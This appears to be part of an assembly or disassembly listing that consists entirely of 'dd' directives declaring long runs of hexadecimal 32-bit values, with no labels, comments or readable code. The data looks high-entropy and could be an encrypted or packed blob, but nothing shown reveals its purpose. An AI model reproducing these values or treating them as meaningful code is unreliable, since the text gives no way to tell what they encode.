dd 0BD8C324Dh, 344B3DFEh, 691DCE62h, 22D14914h, 592E5B4Ch
dd 5429272Ch, 2552A720h, 48C7A114h, 0D0328FA5h, 0B3C538C7h
dd 0EC775A0Bh, 125B343Ah, 2E20101Eh, 252BDC22h, 29272729h
dd 2D232B25h, 313F2F21h, 3A4B333Dh, 1E383836h, 1C58BA74h
dd 2E6F9E70h, 215E2666h, 172B6147h, 94C671C8h, 140F7A6Dh
dd 5D7FE616h, 477D205h, 2F2D7636h, 0B532DDF8h, 38C56D5Fh
dd 1426059Dh, 633681FFh, 25FF3DA0h, 33AB4E47h, 0CFEFA53Eh
dd 0F200D13Eh, 5D6CF37h, 0F919E698h, 6D1CE41Fh, 0AE4F3A57h
dd 0AF0B6C95h, 32877602h, 0EB1B48E4h, 0F4A617CBh, 1302EF1Ch
dd 39351462h, 35393737h, 613D333Bh, 1D131B30h, 21291F11h
dd 8ED4B642h, 0C528A68Ah, 7E2F2BAEh, 595A797Bh, 0D7DDDB43h
dd 0A8B9335Ch, 2D49AA0Ah, 0F51EF932h, 0C91D3AADh, 0A333345h
dd 29EC2BAFh, 16F01985h, 314CE5AFh, 23313330h, 0DAE720D4h
dd 0BCF4642Fh, 5C04A200h, 9D7F3D2Ch, 67B60F61h, 27C4F3CDh
dd 0C9E4C0ECh, 0C67AF12Ch, 8D32D5F6h, 0D78035D0h, 538E8138h
dd 51321CCAh, 171C102Dh, 80282491h, 8A25C6A5h, 222D56CEh
dd 842DC85Dh, 1232D441h, 3E11607Eh, 32FBEE96h, 6E6F2AABh
dd 42C9ED7h, 6E271546h, 459AB23Dh, 7ED9ACF7h, 0AC4D95A9h
dd 0B53FD028h, 0A339A379h, 42AB307h, 9901F66Bh, 0CBE4DFAEh
dd 0AAF74696h, 353323A7h, 7C879B16h, 0FAEB5h, 61BD2DCDh
dd 3402FFBAh, 35DF46B8h, 9DA0E29h, 0E6BDD64Dh, 0DF9A1B9Ch
dd 33B7A52Fh, 24D61427h, 0CAF0C16Fh, 1C6FADC8h, 0E368A7D8h
dd 0F1347613h, 72D2380Ah, 4BB63C38h, 1C59A9F3h, 1314C801h
dd 4E72AC22h, 0E13FFA87h, 2B123AC3h, 0A236351Bh, 49254B2Bh
dd 3E260727h, 2B22C44h, 219327B0h, 254A1633h, 8CB4CBAAh
dd 0E9AD2B24h, 0CD210A5Eh, 0B821A426h, 351B2C22h, 0C23FDC36h
dd 39C93AC5h, 0E31FC07Eh, 0DF1BE119h, 1827D625h, 2CD88ED5h
dd 37B028D6h, 2A620953h, 7913AA70h, 751DC720h, 1FC9149Dh
dd 38CFC170h, 1FFEEA51h, 0CC6F004Dh, 6A0625C5h, 32FE822h
dd 0CFB55561h, 8C7F1532h, 7A1D6255h, 23DBC47Bh, 277322E7h
dd 0C1D5456h, 0A3026D11h, 0D0682334h, 494B48C2h, 4B2D456Fh
dd 4B37E02Eh, 36880972h, 3A5F3937h, 5B4F7F3Ah, 78687A3Fh
dd 424F6D4Eh, 56572347h, 952A2767h, 682C2A2Ah, 5F515F56h
dd 355A7656h, 564A5E40h, 53595654h, 68484BBEh, 4771776Fh
dd 25235621h, 9722731h, 2D0B1D28h, 52E081Fh, 61153310h
dd 1E163715h, 3D1A1B38h, 23E1E23h, 121F3B79h, 50282001h
dd 26279F84h, 74EBD903h, 3D2EEB2Fh, 233B23C0h, 3821273Bh
dd 813A3638h, 0BAB3B268h, 9C64BC2Fh, 714C7068h, 0DEB57375h
dd 0A8253A9h, 4E64A2CBh, 32515A0Fh, 36362C2Eh, 1F9B8842h
dd 0BB35573Dh, 19621AFFh, 7E2E2A9Ch, 10A51952h, 782B5843h
dd 1C05E3A1h, 0B044C72Ch, 29C47741h, 0D9A1362h, 0D5290E2Ah
dd 186C2C5Dh, 715F42BCh, 24A768ACh, 0E8A4702Ch, 0DC43A269h
dd 601E2E18h, 7633E1CEh, 7F48B635h, 56414F14h, 57B23E3Eh
dd 4E480938h, 0DF2434DFh, 4E220624h, 0F6EEF7Eh, 2F0E2F07h
dd 32321D34h, 27368DDCh, 23FEBA3Bh, 0AD4A4D3Ch, 0CA300890h
dd 0AB21721Eh, 0A1476CB7h, 3237C8A6h, 310E447Bh, 3F35926Fh
dd 36E20AB2h, 0B73E7C38h, 3AB0AE2Fh, 1DBECA2Bh, 70A4968Ch
dd 0A8A678DCh, 69242C22h, 0E5252B4Ah, 81242F8Fh, 65B8B8BBh
dd 0B4983494h, 0BE381B26h, 6BBB655Fh, 0CB63742Ah, 260321B6h
dd 2B602409h, 2E06281Dh, 0B01B2F0Ch, 3406168Dh, 38383714h
dd 0C3C457BCh, 3F63B5C2h, 947801DCh, 0A31A05B4h, 267A252Bh
dd 0F6618AAh, 7E3E470Ch, 33543363h, 3734194Eh, 3BB35F39h
dd 0B6101968h, 1F67385Fh, 1B633E3Fh, 0FFAEDBD9h, 36C228E6h
dd 2529CDEAh, 0FDF1BBF6h, 0FE06EC30h, 3A2FF904h, 0B2B03C77h
dd 6CEA9A35h, 0F0209499h, 0E431C9E3h, 23232CC7h, 0E718ABFBh
dd 0BC642CE8h, 17343CBEh, 0B255AA57h, 7DD3FAC3h, 4415FE2Eh
dd 0E6114ECAh, 156E0AE7h, 1249981h, 7C799E38h, 71D0074Ch
dd 0C3C91B52h, 57E035DAh, 0EDED3910h, 328910BEh, 4D8F7F97h
dd 0C440D63h, 752DB785h, 0FB0EBDA3h, 87E7C39h, 63604930h
dd 0B776148Ch, 6E3B7938h, 1F6CDCCBh, 5B4F181Bh, 6E21704Bh
dd 7276306Ah, 7B652477h, 7E74782Bh, 1711752Fh, 7B303450h
dd 494A2C5Eh, 0AE5C2369h, 7A6E7A21h, 204D6A32h, 4387F299h
dd 5D0820E6h, 0CD1D3FE9h, 637F7FB1h, 1E985266h, 3F38FB36h
dd 0D188036Ah, 0C08B3A60h, 681E561Ch, 6E6B2481h, 0C6F235Dh
dd 71D7622Fh, 1B830A29h, 10312230h, 501333A5h, 58DB2A38h
dd 4F373EA8h, 19023919h, 277ECD6Ah, 26B28B00h, 2A742A20h
dd 3D2E2C25h, 793A3018h, 33323414h, 0F401C3Dh, 533A5594h
dd 0E4C3EABh, 6D131436h, 24FED423h, 0E55A526h, 45F6717h
dd 927533CFh, 49BC631h, 5C0291Dh, 3C89B711h, 7236743Dh
dd 460A7034h, 0D60C0B08h, 352F1783h, 83DE2C1Ah, 2116AFDBh
dd 55103442h, 13D04533h, 1D3892A2h, 52963B9Eh, 0F6F71A14h
dd 742F3A92h, 222ECE74h, 242F6BF5h, 5A0A282Ch, 1771582Ch
dd 520333F5h, 392B6811h, 0B31B449h, 192C6019h, 0C2CAAA38h
dd 69560426h, 0B2C22674h, 0E2A52B6Dh, 42A3D974h, 13725D34h
dd 6B235B18h, 7E0B309Ch, 0C8E214BAh, 0C2F7DF4Ah, 65A5A931h
dd 7777773Fh, 10AF7570h, 2D76CF00h, 21352B33h, 71186937h
dd 1ABD40B0h, 0E2D59817h, 6D00DF2Dh, 69043330h, 18E989D4h
dd 0DD65FADDh, 303173A3h, 0CC800B95h, 5765C8C9h, 0AD59DB61h
dd 971C3E33h, 239F2EBDh, 0E410AA7Eh, 0A9A1B47Bh, 2CCBEAEDh
dd 0FFA965D2h, 3B333D49h, 37373935h, 333B3539h, 1B30C13Dh
dd 1F111D13h, 232D212Fh
dd 2729252Bh, 24D52927h, 202E222Ch, 93E3E30h, 0D2E0F26h
dd 1F3A0326h, 0F041706h, 1E272A21h, 18631A23h, 1C6B1E6Bh
dd 70137C27h, 48174C11h, 85D3015h, 0C4D0E41h, 0BE390249h
dd 0AA07B601h, 1D268205h, 1BE425A3h, 1FF619E9h, 0C912FF26h
dd 0C016CD10h, 6582F14h, 2C604D8h, 0C70F37CEh, 37043F0Dh
dd 241B2F06h, 1803260Bh, 24091A03h, 721F721Dh, 0B413B811h
dd 8B1162Dh, 0C990A95h, 8E0F3685h, 0F5038601h, 233FEE05h
dd 27E425C9h, 31B2020h, 1E2A1C22h, 2D65A8D2h, 797D2D16h
dd 0DB57B867h, 0BEED3507h, 3950C565h, 2F2C28C3h, 139E035Ah
dd 0A1DE3F5Eh, 3947352Eh, 0BB3D3DD8h, 0E4BD2100h, 0BB3032AFh
dd 2E20CB3Bh, 0B62B38E5h, 229C3CE9h, 1C1C1BFEh, 0B1580DBDh
dd 50ACB20h, 39351EC0h, 43654668h, 5D515B5Dh, 5134565Eh
dd 49487616h, 3D696749h, 2C2B0D6Ah, 7B131E29h, 4B37A720h
dd 49495450h, 42234F44h, 3C2E0E59h, 3333120Bh, 0B111A20h
dd 3D081C2Ch, 7C5A6C1Bh, 726B531Ch, 23504442h, 48752527h
dd 242A5D4Eh, 27A53B92h, 6236BB30h, 0C32D5B7h, 2C4EB1FBh
dd 6F5E4B6Ah, 66AD6CF3h, 2BA1463Dh, 4531CF35h, 28C17E20h
dd 0A52C0D95h, 0BB57387Fh, 20111467h, 0EB34D062h, 0BFC2C441h
dd 6804190Fh, 0D3C84A23h, 0D5154902h, 7C193F2Eh, 59EF1022h
dd 0BC70AF24h, 0DD641B7Fh, 3111A45Ch, 0C83F3B82h, 0E311992Eh
dd 92F676E2h, 83C902Ah, 22E43D07h, 26E96F3Fh, 3D25E50Dh
dd 3EF172D9h, 98398640h, 254A426Dh, 93177D61h, 9F515B0Ah
dd 2C34A025h, 3966D5A0h, 295E2FA1h, 0B4EAD3Dh, 554C5961h
dd 67B61530h, 7A6A2CC7h, 773AFB18h, 9BC76954h, 2227AB14h
dd 4C0D301Eh, 29897A37h, 0C42E891Fh, 5A7C04A4h, 16E55653h
dd 2C3DDE67h, 2BC27469h, 0EC181EB7h, 6C32DE95h, 0E5244F32h
dd 2169ACE5h, 23EDE901h, 0CE4869D6h, 0C4563730h, 7A51D7DEh
dd 5F4C3C5Ah, 1B6CF805h, 0ABA0164Dh, 24435301h, 0A512A6C9h
dd 7337922Dh, 14346164h, 0DC415335h, 0B22952C7h, 15733A8Eh
dd 1F2B113Eh, 1EE40933h, 3EA9DE28h, 0D8741995h, 2EB532FBh
dd 9F9A7DD7h, 0FC370751h, 0E39977DCh, 243E4C3Ch, 46378338h
dd 11A1800h, 263E231Bh, 9E6727C2h, 40282827h, 62A02D2Bh
dd 0DA01300Bh, 0C9CA190Dh, 3B395067h, 0C1BD3E3Bh, 1DD390E9h
dd 649ED3F6h, 5D256B21h, 9337587h, 0CC2F2B2Dh, 73D03F6Ch
dd 7D5A4732h, 36702142h, 1D6B35BFh, 0FD104A2Ch, 2013DC1Eh
dd 27732320h, 0A5EFAD21h, 0CA02F5Ch, 1493A3F4h, 0F531221Dh
dd 0CB3536DCh, 0BFF0B19Ch, 0E85F3DDCh, 349EDBB8h, 0D48CD300h
dd 0DE0DF424h, 0DCA1E8A3h, 0EED42DA7h, 96C133D9h, 0B436FDBFh
dd 9FC93AD9h, 3F3E70B7h, 1E774D1Ah, 2630481Eh, 0D92724B3h
dd 5E44C9F4h, 2C2B2C72h, 2E20B037h, 66315E61h, 0A0D17061h
dd 4A32BE54h, 4B49BB03h, 5541F95h, 72FDA872h, 572849ABh
dd 0A44C60A7h, 35640B42h, 0B57481DAh, 0D1F5BC66h, 0EBD3AFFh
dd 1EC03703h, 20DF9B1Ch, 2572A72Eh, 0BD4F2425h, 0F56A2A28h
dd 312F2F26h, 3033F6B2h, 281372BCh, 3E00D70Ah, 57BBFEF8h
dd 5493179Ch, 260A4B64h, 34C66044h, 24EF121Fh, 4EBF18A8h
dd 3166531h, 651A7254h, 73B00F49h, 0A67A3DACh, 8E755C1Bh
dd 0A22C25AEh, 2545A819h, 0A07D8387h, 768D086Fh, 6E157CA5h
dd 0C6011B33h, 7A599237h, 3DFC090Ah, 0ECFF0978h, 0C2325768h
dd 9A830912h, 9E2D3817h, 9A94D11Bh, 524AB91Fh, 2DC4FC44h
dd 28D8068Dh, 8D0D8420h, 79C8320Fh, 0F52EAD9Dh, 0F9129496h
dd 199323D6h, 29195797h, 2B501F92h, 58D323Eh, 8320D514h
dd 0DBFA1586h, 306F6E3Fh, 0D16E96DBh, 0C0B8C970h, 726F520h
dd 0A2BAB2Bh, 70A6103h, 622D25BDh, 0DF6567E4h, 233E2C06h
dd 3B29375Ch, 11043364h, 2D212F1Fh, 0C252B23h, 2639783Ah
dd 5AA67A2Bh, 9663C0Bh, 0CFBE94C0h, 0B1EC3743h, 0BE1518AFh
dd 3DD59825h, 12DA94E1h, 0D759A3E2h, 0F8DF6788h, 0ADD5AA63h
dd 3946362Eh, 0B4B6BB34h, 1DA4BC35h, 2CBC3A22h, 0C3F73B3h
dd 66E04F4Eh, 26EFA334h, 0DBA329E7h, 0A97F02A9h, 0B37D24ADh
dd 0BFC3B93Bh, 9F65B6CEh, 4F3A484Ah, 0F3F4290Ch, 2FFF324Eh
dd 37C063AEh, 0E859145Dh, 0A274C160h, 1F912C0Dh, 62273221h
dd 32B86515h, 0B63BD80Fh, 6AED3B2Eh, 7CEF1FC9h, 2353B368h
dd 0EB38766Fh, 0B299A72h, 9CD2BA59h, 7140862Fh, 30410FDh
dd 670B0405h, 0C5F0E3Bh, 2F642958h, 0AB121F9Dh, 8616BB10h
dd 1B388914h, 0ED93199Eh, 1A032662h, 6700032h, 0A4D046Bh
dd 0D20F3BEDh, 522F1D0Dh, 141F4A29h, 109916A6h, 282C12FFh
dd 751E0E1Ch, 0B71AAF18h, 15330731h, 2E43DBB0h, 183B47BAh
dd 7BDE4A3Fh, 57BE4D0Ch, 0A720C976h, 702A8366h, 0F36A3CD7h
dd 0D82F2F2Ch, 6ECD2AEFh, 0C2D1B5B7h, 4F31FEBBh, 3D97DD0Fh
dd 2D2ADE0Ch, 56FAA5E9h, 0D9765434h, 2028EC32h, 146C414Bh
dd 0A9D82CE8h, 7EFD3513h, 5AB29EDEh, 0ED22A709h, 0DF038742h
dd 964D1E1Dh, 24279236h, 2A883391h, 0A2389D2Bh, 8230DE05h
dd 2187AF26h, 0F7710630h, 0C7D547C5h, 1BE914CEh, 6DCF176Eh
dd 71F50AF5h, 756F2E79h, 24761D21h, 0B10E730Bh, 1033CDD3h
dd 0B5B76736h, 3E9B6813h, 0FA89BF10h, 1D7D1CDCh, 0E322A105h
dd 0B007F9B7h, 52829060h, 0B28788Dh, 1F58AC30h, 37763434h
dd 0FB56AFFCh, 5DFABE9Ah, 420B1C33h, 75011CF7h, 21358103h
dd 2A89EC05h, 3E742EABh, 2281F528h, 1239506Fh, 19E9E1DFh
dd 7F3C305Bh, 0DD4D4D27h, 6DAD1FA7h, 0E2CC0706h, 0D628DAEEh
dd 2D282390h, 2174A22Ch, 0E31F5716h, 6B24AF36h, 8CD4376Ah
dd 4C1A973Eh, 0DDCE54F5h, 68A8DD21h, 7CAC0601h, 7978220Dh
dd 418F7827h, 6332D249h, 78EF0BBEh, 6A3A38E3h, 5A5E1655h
dd 3B9A5591h, 4B500178h, 7726A520h, 4BFDD624h, 3F6E0D27h
dd 1916A5BDh, 66343564h, 1BCE7C18h, 3B92B601h, 193D9C3Fh
dd 0D9A2F894h, 51512CDCh, 3129E8D1h, 0A0676D2Bh, 0BA46744Dh
dd 73B6DD26h, 42D01236h, 1B53D7Eh, 1C5C76D6h, 0A0325FA6h
dd 0A8017533h, 67202637h, 2A6F232Dh, 36A51726h, 3D351E3Ah
dd 0DC3035BEh, 79342B8Dh, 195F4F27h, 851CF70Ch, 0CDAB0427h
dd 68FF47DDh, 35EA4729h, 0D02F5FCEh, 3442DC13h, 6BCE14D5h
dd 1EDB3A48h, 18A8A939h, 2F1D88F4h, 262361F9h, 0B626651Ch
dd 2B5B6A2Bh, 61982EBCh, 30A23141h, 0A736446Dh, 38AF5D3Bh
dd 7F1A7D85h, 0DF14C9E6h, 0BA21A11Eh, 2FA424A6h, 43D14075h
dd 79436A77h, 70293000h, 7113B475h, 4B87471h, 7F78E053h
dd 5B554A30h, 62BC942Bh, 1047764h, 0E940755Ah, 66A12CEBh
dd 9CD8467Eh, 0BEA133F4h, 0B0BBA234h, 0F735AE33h, 384F7B65h
dd 69841A01h, 0B42239E1h, 0A4266470h, 6EA32B6Bh, 316DAA2Ch
dd 357107B1h, 40367449h, 4A3B1FBAh, 6F951BC2h, 5D6E1FDEh
dd 22604D21h, 8D27674Ch, 4B2B6B4Ch, 6D722C6Eh, 32706931h
dd 3674619Eh, 773B7B68h, 7D763C7Eh, 5C59B61Ah, 228F601Eh
dd 38527E1h, 44A07B0Eh, 220F750Bh, 102C580Bh, 731F463Fh
dd 3E66302Dh, 38086766h, 4A1865B4h, 153523E1h, 2C842C92h
dd 397927B6h, 3D9D2917h, 0BC445A27h, 31646C42h, 0F8293766h
dd 79FB3F4Bh, 9D1A231Ah, 8E250E60h, 1EC5221Bh, 13AA1D68h
dd 0F42B11F8h, 0B14F016h
dd 340FD10Dh, 5500B55h, 28C0489h, 0A6F943Fh, 2F1C1DBCh
dd 79222220h, 0BD16E614h, 2B18BA19h, 1B1D1FEEh, 6550551h
dd 450F6634h, 0B4034101h, 6A63D05h, 16DF21DFh, 283E208Ah
dd 0A6052163h, 6DE9AD1Bh, 0BA228834h, 1ED9256Dh, 74BF3C73h
dd 0FABD7836h, 0B9FB354Fh, 591D26FFh, 21C118F5h, 2472AE26h
dd 0C18C7505h, 0A781CBB7h, 0B6132EA8h, 0BB861033h, 0B6B01436h
dd 569C19FAh, 245ADEAAh, 5E9C4C4Dh, 51229201h, 2E27992Fh
dd 0BDA02ACBh, 0D0351A06h, 85160A86h, 3734260Eh, 48A1BB2h
dd 0CCC32BC2h, 116A468Dh, 42CA7798h, 11062396h, 0B952A48h
dd 2FAC0215h, 333D38FFh, 475CBB29h, 26C50A1Ch, 2B767817h
dd 340DF490h, 3C80724Ah, 2443AEA3h, 7B69346Ch, 0AC7A7D33h
dd 70463290h, 78BE2C31h, 543DB53Fh, 1E3FDD81h, 4B1D6BE4h
dd 0F571D8Fh, 6BB5A802h, 0C97D095Ah, 0B068A62Ch, 51394B0Fh
dd 0D565DB1Ch, 0B0FF3436h, 0F22A1B54h, 29D0520Bh, 0EE149E88h
dd 3582CB14h, 0D29613E2h, 481EE384h, 5E02D3Fh, 1FC07FEh
dd 0FD5A363Ah, 3B1A490Ch, 3B420BF7h, 9A2BD321h, 2C49BED7h
dd 0FC13E022h, 1EE52BE8h, 2ED118E3h, 0FC07FEDFh, 0F835CA01h
dd 5190280Dh, 9A283C9Dh, 1FBC841Ah, 70208517h, 0DC2485E5h
dd 0DE288C59h, 87C12D8Ah, 3013318Ah, 93EB3593h, 3B986836h
dd 3F98EC91h, 0DF1DBA41h, 808C1EBBh, 80904923h, 2889FD27h
dd 6C938BFDh, 0B19A8E0Dh, 0D1AD33D1h, 535AA636h, 89EE1FB6h
dd 4D4E3EAEh, 0D1C306DDh, 4F2B023Ch, 29463661h, 0A03DAA7Bh
dd 0B40F022Ch, 105F12BAh, 0F8CFBD2Dh, 0A38A338h, 0BB04AEF5h
dd 31BE941Ah, 0C9312524h, 27081527h, 0F46A0E4h, 2D3BD204h
dd 323EC3A0h, 0BBECB93Bh, 2A9D38ACh, 432D9C3Dh, 38F1C9Ah
dd 22B133A9h, 0D6F939B7h, 134B933h, 0B15233DAh, 8D2CAF32h
dd 0A9353B28h, 0A424A72Ah, 8EF23626h, 20184BDh, 0E93D8B1Dh
dd 0BA39BC60h, 5DC0DB3Bh, 30B309DEh, 2CAF32B1h, 0FCB02EADh
dd 0BB63EB43h, 2639D809h, 0C49864FEh, 9F8C099Eh, 393D813Fh
dd 52398551h, 0CC35955Ah, 45EFAB29h, 3627723Ah, 7A325721h
dd 6C2F3A69h, 99A32BC2h, 12C51546h, 8E2C743Dh, 29672864h
dd 2A247422h, 0CB683F2Ah, 73AC30Dh, 0F5A8B836h, 0B63A49C1h
dd 9F226582h, 3C1EFC14h, 0ED1BC1BDh, 2925F3CBh, 546BAEADh
dd 0A3222F58h, 32A12CB9h, 14743960h, 3C685878h, 90B0213Eh
dd 1D8CDAC8h, 0C975D095h, 0E5A553E7h, 79230520h, 0B6C4E401h
dd 71142ADEh, 41243A46h, 0F1264766h, 0CB7C3B1h, 0CDACB64Dh
dd 0A06B6F6Eh, 771874AAh, 280169A8h, 8E6F6825h, 0B914795Eh
dd 0DC1ED29Eh, 0BA27F7E7h, 4F9ABCB3h, 0AA4C9FBAh, 90969908h
dd 0CBED52D1h, 2356559Ch, 0D26689Bh, 2A62A820h, 81AB808Dh
dd 75A8BC34h, 7A33A732h, 7EB8B636h, 68DE2711h, 0CA71B816h
dd 0C67F340Ah, 6B14A338h, 0B0A4A876h, 2CB931AEh, 3D24AABBh
dd 6BB7B333h, 0E9C26D37h, 9C7585B6h, 0C0B6941Eh, 25C5712Eh
dd 0CD7727A7h, 6CA6EEA1h, 31B41EA7h, 1AF73282h, 0BA38381Dh
dd 2D2829D6h, 9C3F73B8h, 243B5A7Dh, 200CC204h, 792F2655h
dd 7E3B2A69h, 282F6E88h, 64137A41h, 0BE3B7CB5h, 58AB2F73h
dd 11595E36h, 9E171C8Ch, 23DD67C1h, 2B273519h, 2F49CBA9h
dd 8931112Ch, 0B02E122Ah, 623A35D8h, 2F1E55B3h, 6916D0B9h
dd 0D940A6Eh, 7F32E041h, 2AE134A0h, 76687BE4h, 2ED2A90Fh
dd 0F9B2355Ah, 0BB6ADFCCh, 2A1D7C97h, 7EBDE708h, 17951A6Fh
dd 35981F11h, 0EB1F0562h, 0A24E625Ah, 2CCCC73Fh, 5156792Ah
dd 0F6BDDB51h, 0BA38C8CBh, 0FDB837FEh, 2C0D4A61h, 0E40AE14Eh
dd 316337A1h, 764BE617h, 0CF3FEF74h, 0A88F3A08h, 386571B0h
dd 0BB372CDDh, 6D271F59h, 0F3FB686Eh, 319BF51h, 24BBE1A4h
dd 27276C84h, 0AF25E9ADh, 0A42D2D24h, 0DA367C20h, 0F41835F5h
dd 0DF3A4980h, 0D63F3D7Fh, 1AE2F063h, 223DECE0h, 0A5D569A8h
dd 0C32018E6h, 0B22DB31Ch, 0DB63242Eh, 3C361831h, 3AA2F9B6h
dd 2017D538h, 1DF8173Ah, 2D250F12h, 598220Fh, 0B159B431h
dd 394C2AD7h, 3DD72BEFh, 0BEE55332h, 0B5C2BCDCh, 0F9BDEECDh
dd 3847F1BEh, 62A71E49h, 0AA4122FBh, 29815F66h, 0ED23254Bh
dd 522C3FCDh, 0E4C4ED12h, 1C73BF35h, 37FA195Dh, 0F3F37FEh
dd 1D9F1E44h, 2260AC40h, 1F276718h, 1F80286Ah, 6D1E2C6Eh
dd 32701D31h, 9D37771Ch, 1B3B7B1Ch, 7D223C7Eh, 1F5F041Ah
dd 236334B5h, 2A246633h, 68212965h, 0AA29822Ah, 0B077F36Ch
dd 3777CC1Dh, 90387AC3h, 0D23C7ECBh, 5FF41A7Dh, 7F50FB1Fh
dd 212B129Dh, 93423849h, 2E8A3440h, 2E564C9Dh, 4828E31h
dd 56AF97DBh, 3B230A85h, 2DAF3F31h, 993A3F73h, 0F6CC2910h
dd 2716994Ch, 0FA1A932Ch, 3E1015CCh, 8EDA038Eh, 828EB304h
dd 0D841308h, 9792C72h, 4FE157AAh, 0F323E328h, 230251ADh
dd 0E8632B2Bh, 6F0B4D2Dh, 0D88B6034h, 0B9A6D79Eh, 0C697B9F7h
dd 61FE0EC3h, 5D903442h, 0A57E3FE0h, 912D4CDCh, 6D78AF7Dh
dd 28AC248Bh, 9E59ADFDh, 7818C57Eh, 11A92935h, 0F9393C2Fh
dd 6FE3C739h, 23119F73h, 48A62F6Ah, 0A7422774h, 0FF652B78h
dd 5CB31B22h, 7FBE3C60h, 9D022533h, 414C3D7Ah, 8957116Fh
dd 5219195Ch, 7A91F32Dh, 792506B9h, 2E6F3860h, 0BD2F7F7Ah
dd 0EC3003C6h, 3AA62D07h, 5E29CEDAh, 193F709Ch, 161E7D49h
dd 43352140h, 27462124h, 2B4A7C5Ch, 162E4D5Fh, 535D3150h
dd 5763A234h, 3B5A3438h, 313E5D36h, 4B0C1C7Bh, 4235207Fh
dd 26453123h, 0CA1649F5h, 192DAD7Eh, 5227318Fh, 36554433h
dd 3A596D3Bh, 1E2F5C33h, 961053B4h, 23129D0Fh, 952523ABh
dd 2920E527h, 0ED22192Bh, 1C7F2F7Fh, 303856D5h, 6A183536h
dd 2518A7B1h, 4A4E3F4Eh, 383F4907h, 0D614B231h, 0C8BAD12h
dd 2D7B0A27h, 622FA1CCh, 28175EB8h, 74619634h, 8A35261Dh
dd 253BA720h, 11161988h, 490A2F02h, 0CF748D2Ch, 32E9B99h
dd 9F2A2998h, 61FF9534h, 57703B15h, 825134CDh, 73CDE938h
dd 0DE0918AEh, 2C562446h, 6A652AB1h, 0C278204Dh, 1A283E4Bh
dd 3734243Ah, 26493123h, 0C538BB32h, 3D3D330Bh, 1D1F1B30h
dd 21A4F39Fh, 0AE347021h, 0A9A403BAh, 597AF05Bh, 42BD482Eh
dd 0DD62641Eh, 35D8768Eh, 317FFC6Ch, 553C1F3Bh, 0DFE3E71Dh
dd 0DFB8CA72h, 91D86ED9h, 0DF44FA08h, 63BB0EA0h, 0DC96C121h
dd 3636571Fh, 29713A91h, 1AD668A9h, 9B251C0Fh, 224C2521h
dd 26F37926h, 292B6D2Ah, 372C2C1Ch, 31330AB2h, 2137D39Eh
dd 8F3838F0h, 3E9A3F3Dh, 1FD3B619h, 26A0A24Dh, 46272551h
dd 64832A26h, 2F152E2Ah, 3030102Dh, 362C353Dh, 9A38F097h
dd 0E3CFC14h, 9C8F337h, 2348105Eh, 0A5542122h, 0E97432D9h
dd 8C4B2B0Ch, 0F1813F9Eh, 65666738h, 0DF93396h, 50377A0Ah
dd 1C3F13FEh, 2B1C9E19h, 23C321A2h, 3DD8B639h, 2AABF395h
dd 308F8220h, 4009F413h, 0EA0DBD0Fh, 63BD103h, 20980542h
dd 1FF726D4h, 1F23211Bh, 1BA01939h, 0D816B728h, 4F132610h
dd 0EAE310Dh, 0A880898h, 3E3A04D4h, 67007602h, 1E236F25h
dd 1C831E8Eh, 18EE1A90h, 30162B27h, 0A7125714h, 9ED9B010h
dd 0DE642C51h, 6E1139F9h, 0DF15183Fh, 4A4E2354h, 0D1035BF6h
dd 0CD279020h, 28888585h, 7A7C2364h, 0C07EA66Fh, 26342728h
dd 1098F695h, 6363FDB1h
dd 32A4B65h, 20119F14h, 28497577h, 2A696CDh, 10B562Bh
dd 452FABDDh, 206F3221h, 6B663665h, 0C81FAEB4h, 73373D3Dh
dd 1F1D2Bh, 0F4DD7772h, 5BE6A0B4h, 5E3D2D11h, 2F1FA9FBh
dd 178EB256h, 3536343Ah, 54F3818h, 78BFFD54h, 0CB9F8FF3h
dd 9A25619Eh, 26262422h, 152F4167h, 2EF98C43h, 5F31E1B0h
dd 0E7F834E6h, 0EFAC6737h, 3EECC73Bh, 341CCE6Eh, 8B20CF12h
dd 7224F661h, 0FC1D27F7h, 2DFDAE2Ah, 31E50884h, 2C34E281h
dd 0E8D937E3h, 0E837A93Ah, 0CC16303Eh, 0F475E31Dh, 0F51E8821h
dd 28F2C925h, 0FBA3FB42h, 329EE5AEh, 86AFBB11h, 4FDF1A37h
dd 39FD3989h, 193AFE69h, 0D1952D4Eh, 263106C8h, 761AA2C5h
dd 0BB7F7B44h, 7BB95D28h, 27E333C0h, 32073837h, 1A150815h
dd 0C06E150Dh, 0DE9818CEh, 0B62E2537h, 32360067h, 0C4C108CFh
dd 0AD2E9CBAh, 77E702E9h, 32878ADCh, 89ACD96Ch, 3A8D4F3Fh
dd 0C8280CDFh, 0FB5F235Bh, 2A339C67h, 21282826h, 0DD3C1A2Ah
dd 0C013F13Eh, 0B4248022h, 1E381BDAh, 0B62C6D69h, 9C5F1B8Ah
dd 0D994491Dh, 5A7DAF21h, 0A37169A8h, 4CFF1F6Dh, 8490796Dh
dd 24B03040h, 0F804C9FCh, 0CE2B27E9h, 0CAC85693h, 4E1F2E55h
dd 23C02060h, 35A85A9h, 0FEFB023Ch, 2EEC452Ch, 61E33210h
dd 54E6E3CBh, 4F16F9BDh, 2D3A151Ah, 1C3E4D19h, 0CA35EB94h
dd 2627A48Bh, 2A283826h, 591D4429h, 3101B31Fh, 83044002h
dd 0E908F406h, 0D30CDB0Ah, 1A2E1A0Eh, 3E120A2Ch, 6C161B10h
dd 0A1B3C14h, 791F6C19h, 41034B1Dh, 0C807BD01h, 330C3305h
dd 1C082B0Eh, 582F170Ah, 562B4D29h, 24738215h, 23181776h
dd 0FFC95FE9h, 3C2F9E6Ch, 0C5C4E002h, 0F93F3645h, 0FF93A69h
dd 0EB6FD5EFh, 1A2B9D4Eh, 722E0040h, 0F6CFF425h, 0C12AF8F3h
dd 0E625F5FDh, 33C5C545h, 0C0FEBEC7h, 0AA2E1D5Ch, 2F3E7DBDh
dd 106FCD18h, 13206024h, 1C1D1615h, 13121A10h, 19171F18h
dd 0B000B1Dh, 10F0305h, 90E0305h, 0C0A060Fh, 28252D04h
dd 1A122824h, 151C1013h, 121A101Ch, 171E1212h, 40B1D19h
dd 20E070Bh, 0B090C04h, 0A060A03h, 252A040Ch, 17252C24h
dd 1D171913h, 1A101C12h, 1C1B1B12h, 2181418h, 0E04070Ah
dd 0D0C0402h, 0B01080Fh, 280E050Fh, 28242925h, 1A131A12h
dd 101C1317h, 1A1B121Ah, 18141F1Fh, 5000A02h, 5010F0Dh
dd 0B0B0A03h, 40C0A06h, 2425282Ah, 151A1228h, 111F1714h
dd 1F181315h, 19171F1Dh, 7000B1Dh, 10F040Ah, 3000305h
dd 0C0A060Ah, 272E2304h, 191B2D29h, 121E1610h, 1E191C14h
dd 1A161E1Fh, 508141Ch, 7030905h, 9000Dh, 60E0C00h, 282A0D0Fh
